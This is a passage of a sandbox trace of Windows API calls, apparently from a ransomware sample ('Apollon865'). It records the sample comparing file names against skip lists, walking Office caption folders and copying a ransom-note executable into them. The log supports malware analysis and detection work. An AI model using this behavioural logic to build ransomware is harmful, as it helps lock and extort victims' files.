	[0050.999] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0050.999] lstrlenW (lpString=".sys") returned 4
	[0050.999] lstrcmpiW (lpString1="PUB6INTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0050.999] lstrlenW (lpString="PUB6INTL.DLL.trx_dll") returned 20
	[0050.999] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUB6INTL.REST.trx_dll" | out: lpString1="PUB6INTL.REST.trx_dll") returned="PUB6INTL.REST.trx_dll"
	[0050.999] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0050.999] lstrlenW (lpString="Apollon865") returned 10
	[0050.999] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0050.999] lstrlenW (lpString=".dll") returned 4
	[0050.999] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".dll") returned 1
	[0050.999] lstrlenW (lpString=".lnk") returned 4
	[0050.999] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0050.999] lstrlenW (lpString=".ini") returned 4
	[0050.999] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".ini") returned 1
	[0050.999] lstrlenW (lpString=".sys") returned 4
	[0050.999] lstrcmpiW (lpString1="PUB6INTL.REST.trx_dll", lpString2=".sys") returned 1
	[0050.999] lstrlenW (lpString="PUB6INTL.REST.trx_dll") returned 21
	[0050.999] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="PUBWZINT.REST.trx_dll" | out: lpString1="PUBWZINT.REST.trx_dll") returned="PUBWZINT.REST.trx_dll"
	[0050.999] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0050.999] lstrlenW (lpString="Apollon865") returned 10
	[0050.999] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0050.999] lstrlenW (lpString=".dll") returned 4
	[0050.999] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".dll") returned 1
	[0050.999] lstrlenW (lpString=".lnk") returned 4
	[0050.999] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".lnk") returned 1
	[0050.999] lstrlenW (lpString=".ini") returned 4
	[0051.000] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".ini") returned 1
	[0051.000] lstrlenW (lpString=".sys") returned 4
	[0051.000] lstrcmpiW (lpString1="PUBWZINT.REST.trx_dll", lpString2=".sys") returned 1
	[0051.000] lstrlenW (lpString="PUBWZINT.REST.trx_dll") returned 21
	[0051.000] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="SGRES.DLL.trx_dll" | out: lpString1="SGRES.DLL.trx_dll") returned="SGRES.DLL.trx_dll"
	[0051.000] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0051.000] lstrlenW (lpString="Apollon865") returned 10
	[0051.000] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.000] lstrlenW (lpString=".dll") returned 4
	[0051.000] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.000] lstrlenW (lpString=".lnk") returned 4
	[0051.000] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.000] lstrlenW (lpString=".ini") returned 4
	[0051.000] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.000] lstrlenW (lpString=".sys") returned 4
	[0051.000] lstrcmpiW (lpString1="SGRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.000] lstrlenW (lpString="SGRES.DLL.trx_dll") returned 17
	[0051.000] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="STINTL.DLL.trx_dll" | out: lpString1="STINTL.DLL.trx_dll") returned="STINTL.DLL.trx_dll"
	[0051.000] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0051.000] lstrlenW (lpString="Apollon865") returned 10
	[0051.000] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.000] lstrlenW (lpString=".dll") returned 4
	[0051.000] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.000] lstrlenW (lpString=".lnk") returned 4
	[0051.000] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.000] lstrlenW (lpString=".ini") returned 4
	[0051.000] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.000] lstrlenW (lpString=".sys") returned 4
	[0051.000] lstrcmpiW (lpString1="STINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.000] lstrlenW (lpString="STINTL.DLL.trx_dll") returned 18
	[0051.001] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISBRRES.DLL.trx_dll" | out: lpString1="VISBRRES.DLL.trx_dll") returned="VISBRRES.DLL.trx_dll"
	[0051.001] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0051.001] lstrlenW (lpString="Apollon865") returned 10
	[0051.001] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.001] lstrlenW (lpString=".dll") returned 4
	[0051.001] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.001] lstrlenW (lpString=".lnk") returned 4
	[0051.001] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.001] lstrlenW (lpString=".ini") returned 4
	[0051.001] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.001] lstrlenW (lpString=".sys") returned 4
	[0051.001] lstrcmpiW (lpString1="VISBRRES.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.001] lstrlenW (lpString="VISBRRES.DLL.trx_dll") returned 20
	[0051.001] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="VISINTL.DLL.trx_dll" | out: lpString1="VISINTL.DLL.trx_dll") returned="VISINTL.DLL.trx_dll"
	[0051.001] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0051.001] lstrlenW (lpString="Apollon865") returned 10
	[0051.001] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.001] lstrlenW (lpString=".dll") returned 4
	[0051.001] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.001] lstrlenW (lpString=".lnk") returned 4
	[0051.001] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.001] lstrlenW (lpString=".ini") returned 4
	[0051.001] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.001] lstrlenW (lpString=".sys") returned 4
	[0051.001] lstrcmpiW (lpString1="VISINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.001] lstrlenW (lpString="VISINTL.DLL.trx_dll") returned 19
	[0051.001] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="WWINTL.DLL.trx_dll" | out: lpString1="WWINTL.DLL.trx_dll") returned="WWINTL.DLL.trx_dll"
	[0051.001] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0051.001] lstrlenW (lpString="Apollon865") returned 10
	[0051.001] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.001] lstrlenW (lpString=".dll") returned 4
	[0051.002] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.002] lstrlenW (lpString=".lnk") returned 4
	[0051.002] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.002] lstrlenW (lpString=".ini") returned 4
	[0051.002] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.002] lstrlenW (lpString=".sys") returned 4
	[0051.002] lstrcmpiW (lpString1="WWINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.002] lstrlenW (lpString="WWINTL.DLL.trx_dll") returned 18
	[0051.002] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="WWINTL.REST.trx_dll" | out: lpString1="WWINTL.REST.trx_dll") returned="WWINTL.REST.trx_dll"
	[0051.002] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0051.002] lstrlenW (lpString="Apollon865") returned 10
	[0051.002] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.002] lstrlenW (lpString=".dll") returned 4
	[0051.002] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0051.002] lstrlenW (lpString=".lnk") returned 4
	[0051.002] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.002] lstrlenW (lpString=".ini") returned 4
	[0051.002] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0051.002] lstrlenW (lpString=".sys") returned 4
	[0051.002] lstrcmpiW (lpString1="WWINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0051.002] lstrlenW (lpString="WWINTL.REST.trx_dll") returned 19
	[0051.002] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="XLINTL32.DLL.trx_dll" | out: lpString1="XLINTL32.DLL.trx_dll") returned="XLINTL32.DLL.trx_dll"
	[0051.002] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0051.002] lstrlenW (lpString="Apollon865") returned 10
	[0051.002] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.002] lstrlenW (lpString=".dll") returned 4
	[0051.002] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.002] lstrlenW (lpString=".lnk") returned 4
	[0051.002] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.002] lstrlenW (lpString=".ini") returned 4
	[0051.002] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.003] lstrlenW (lpString=".sys") returned 4
	[0051.003] lstrcmpiW (lpString1="XLINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.003] lstrlenW (lpString="XLINTL32.DLL.trx_dll") returned 20
	[0051.003] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="XLINTL32.REST.trx_dll" | out: lpString1="XLINTL32.REST.trx_dll") returned="XLINTL32.REST.trx_dll"
	[0051.003] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0051.003] lstrlenW (lpString="Apollon865") returned 10
	[0051.003] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.003] lstrlenW (lpString=".dll") returned 4
	[0051.003] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0051.003] lstrlenW (lpString=".lnk") returned 4
	[0051.003] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.003] lstrlenW (lpString=".ini") returned 4
	[0051.003] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0051.003] lstrlenW (lpString=".sys") returned 4
	[0051.003] lstrcmpiW (lpString1="XLINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0051.003] lstrlenW (lpString="XLINTL32.REST.trx_dll") returned 21
	[0051.003] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="XLSLICER.DLL.trx_dll" | out: lpString1="XLSLICER.DLL.trx_dll") returned="XLSLICER.DLL.trx_dll"
	[0051.003] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0051.003] lstrlenW (lpString="Apollon865") returned 10
	[0051.003] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.003] lstrlenW (lpString=".dll") returned 4
	[0051.003] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.003] lstrlenW (lpString=".lnk") returned 4
	[0051.003] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.003] lstrlenW (lpString=".ini") returned 4
	[0051.003] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.003] lstrlenW (lpString=".sys") returned 4
	[0051.003] lstrcmpiW (lpString1="XLSLICER.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.003] lstrlenW (lpString="XLSLICER.DLL.trx_dll") returned 20
	[0051.004] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036"
	[0051.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5458 | out: hHeap=0x580000) returned 1
	[0051.004] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fd88 | out: hHeap=0x580000) returned 1
	[0051.004] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned 47
	[0051.004] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036" | out: lpString1="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036") returned="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036"
	[0051.004] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0051.004] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\microsoft\\office\\uicaptions\\1036\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0051.004] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0051.004] GetLastError () returned 0x0
	[0051.004] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0051.004] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0051.005] CloseHandle (hObject=0x15c) returned 1
	[0051.005] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0051.005] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0051.005] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb93c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca4d0
	[0051.005] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.005] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0051.005] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0051.005] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xeed38550, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x2fb93c90, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fb93c90, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.005] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.005] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0051.005] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0051.005] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0051.005] FindNextFileW (in: hFindFile=0x5ca4d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1be9a700, ftCreationTime.dwHighDateTime=0x1caca12, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1be9a700, ftLastWriteTime.dwHighDateTime=0x1caca12, nFileSizeHigh=0x0, nFileSizeLow=0x3960, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ENVELOPR.DLL.trx_dll", cAlternateFileName="ENVELO~1.TRX")) returned 1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="Apollon865.txt.exe") returned 1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".") returned 1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="..") returned 1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="windows") returned -1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="bootmgr") returned 1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="temp") returned -1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="pagefile.sys") returned -1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="boot") returned 1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ids.txt") returned -1
	[0051.005] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="ntuser.dat") returned -1
	[0051.006] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="perflogs") returned -1
	[0051.006] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2="MSBuild") returned -1
	[0051.006] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0051.006] lstrlenW (lpString="C:\\ProgramData\\Microsoft\\OFFICE\\UICaptions\\1036\\*") returned 49
	[0051.006] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ENVELOPR.DLL.trx_dll" | out: lpString1="ENVELOPR.DLL.trx_dll") returned="ENVELOPR.DLL.trx_dll"
	[0051.006] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0051.006] lstrlenW (lpString="Apollon865") returned 10
	[0051.006] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.006] lstrlenW (lpString=".dll") returned 4
	[0051.006] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.006] lstrlenW (lpString=".lnk") returned 4
	[0051.006] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.006] lstrlenW (lpString=".ini") returned 4
	[0051.006] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.006] lstrlenW (lpString=".sys") returned 4
	[0051.006] lstrcmpiW (lpString1="ENVELOPR.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.006] lstrlenW (lpString="ENVELOPR.DLL.trx_dll") returned 20
	[0051.006] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRINTL32.DLL.trx_dll" | out: lpString1="GRINTL32.DLL.trx_dll") returned="GRINTL32.DLL.trx_dll"
	[0051.006] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0051.006] lstrlenW (lpString="Apollon865") returned 10
	[0051.006] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.006] lstrlenW (lpString=".dll") returned 4
	[0051.006] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.006] lstrlenW (lpString=".lnk") returned 4
	[0051.006] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.006] lstrlenW (lpString=".ini") returned 4
	[0051.006] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.006] lstrlenW (lpString=".sys") returned 4
	[0051.006] lstrcmpiW (lpString1="GRINTL32.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.006] lstrlenW (lpString="GRINTL32.DLL.trx_dll") returned 20
	[0051.007] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="GRINTL32.REST.trx_dll" | out: lpString1="GRINTL32.REST.trx_dll") returned="GRINTL32.REST.trx_dll"
	[0051.007] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0051.007] lstrlenW (lpString="Apollon865") returned 10
	[0051.007] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.007] lstrlenW (lpString=".dll") returned 4
	[0051.007] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".dll") returned 1
	[0051.007] lstrlenW (lpString=".lnk") returned 4
	[0051.007] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.007] lstrlenW (lpString=".ini") returned 4
	[0051.007] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".ini") returned 1
	[0051.007] lstrlenW (lpString=".sys") returned 4
	[0051.007] lstrcmpiW (lpString1="GRINTL32.REST.trx_dll", lpString2=".sys") returned 1
	[0051.007] lstrlenW (lpString="GRINTL32.REST.trx_dll") returned 21
	[0051.007] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MAPIR.DLL.trx_dll" | out: lpString1="MAPIR.DLL.trx_dll") returned="MAPIR.DLL.trx_dll"
	[0051.007] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0051.007] lstrlenW (lpString="Apollon865") returned 10
	[0051.007] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.007] lstrlenW (lpString=".dll") returned 4
	[0051.007] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.007] lstrlenW (lpString=".lnk") returned 4
	[0051.007] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.007] lstrlenW (lpString=".ini") returned 4
	[0051.007] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.007] lstrlenW (lpString=".sys") returned 4
	[0051.007] lstrcmpiW (lpString1="MAPIR.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.007] lstrlenW (lpString="MAPIR.DLL.trx_dll") returned 17
	[0051.007] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MOR6INT.REST.trx_dll" | out: lpString1="MOR6INT.REST.trx_dll") returned="MOR6INT.REST.trx_dll"
	[0051.007] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0051.007] lstrlenW (lpString="Apollon865") returned 10
	[0051.007] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.007] lstrlenW (lpString=".dll") returned 4
	[0051.008] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".dll") returned 1
	[0051.008] lstrlenW (lpString=".lnk") returned 4
	[0051.008] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.008] lstrlenW (lpString=".ini") returned 4
	[0051.008] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".ini") returned 1
	[0051.008] lstrlenW (lpString=".sys") returned 4
	[0051.008] lstrcmpiW (lpString1="MOR6INT.REST.trx_dll", lpString2=".sys") returned 1
	[0051.008] lstrlenW (lpString="MOR6INT.REST.trx_dll") returned 20
	[0051.008] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOINTL.DLL.trx_dll" | out: lpString1="MSOINTL.DLL.trx_dll") returned="MSOINTL.DLL.trx_dll"
	[0051.008] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0051.008] lstrlenW (lpString="Apollon865") returned 10
	[0051.008] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.008] lstrlenW (lpString=".dll") returned 4
	[0051.008] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.008] lstrlenW (lpString=".lnk") returned 4
	[0051.008] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.008] lstrlenW (lpString=".ini") returned 4
	[0051.008] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.008] lstrlenW (lpString=".sys") returned 4
	[0051.008] lstrcmpiW (lpString1="MSOINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.008] lstrlenW (lpString="MSOINTL.DLL.trx_dll") returned 19
	[0051.008] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="MSOINTL.REST.trx_dll" | out: lpString1="MSOINTL.REST.trx_dll") returned="MSOINTL.REST.trx_dll"
	[0051.008] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0051.008] lstrlenW (lpString="Apollon865") returned 10
	[0051.008] lstrcmpiW (lpString1="ST.trx_dll", lpString2="Apollon865") returned 1
	[0051.008] lstrlenW (lpString=".dll") returned 4
	[0051.008] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".dll") returned 1
	[0051.008] lstrlenW (lpString=".lnk") returned 4
	[0051.008] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".lnk") returned 1
	[0051.008] lstrlenW (lpString=".ini") returned 4
	[0051.008] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".ini") returned 1
	[0051.009] lstrlenW (lpString=".sys") returned 4
	[0051.009] lstrcmpiW (lpString1="MSOINTL.REST.trx_dll", lpString2=".sys") returned 1
	[0051.009] lstrlenW (lpString="MSOINTL.REST.trx_dll") returned 20
	[0051.009] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="OMSINTL.DLL.trx_dll" | out: lpString1="OMSINTL.DLL.trx_dll") returned="OMSINTL.DLL.trx_dll"
	[0051.009] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0051.009] lstrlenW (lpString="Apollon865") returned 10
	[0051.009] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.009] lstrlenW (lpString=".dll") returned 4
	[0051.009] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.009] lstrlenW (lpString=".lnk") returned 4
	[0051.009] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.009] lstrlenW (lpString=".ini") returned 4
	[0051.009] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.009] lstrlenW (lpString=".sys") returned 4
	[0051.009] lstrcmpiW (lpString1="OMSINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.009] lstrlenW (lpString="OMSINTL.DLL.trx_dll") returned 19
	[0051.009] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="ONINTL.DLL.trx_dll" | out: lpString1="ONINTL.DLL.trx_dll") returned="ONINTL.DLL.trx_dll"
	[0051.009] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
	[0051.009] lstrlenW (lpString="Apollon865") returned 10
	[0051.009] lstrcmpiW (lpString1="LL.trx_dll", lpString2="Apollon865") returned 1
	[0051.009] lstrlenW (lpString=".dll") returned 4
	[0051.009] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".dll") returned 1
	[0051.009] lstrlenW (lpString=".lnk") returned 4
	[0051.009] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".lnk") returned 1
	[0051.009] lstrlenW (lpString=".ini") returned 4
	[0051.009] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".ini") returned 1
	[0051.009] lstrlenW (lpString=".sys") returned 4
	[0051.009] lstrcmpiW (lpString1="ONINTL.DLL.trx_dll", lpString2=".sys") returned 1
	[0051.009] lstrlenW (lpString="ONINTL.DLL.trx_dll") returned 18
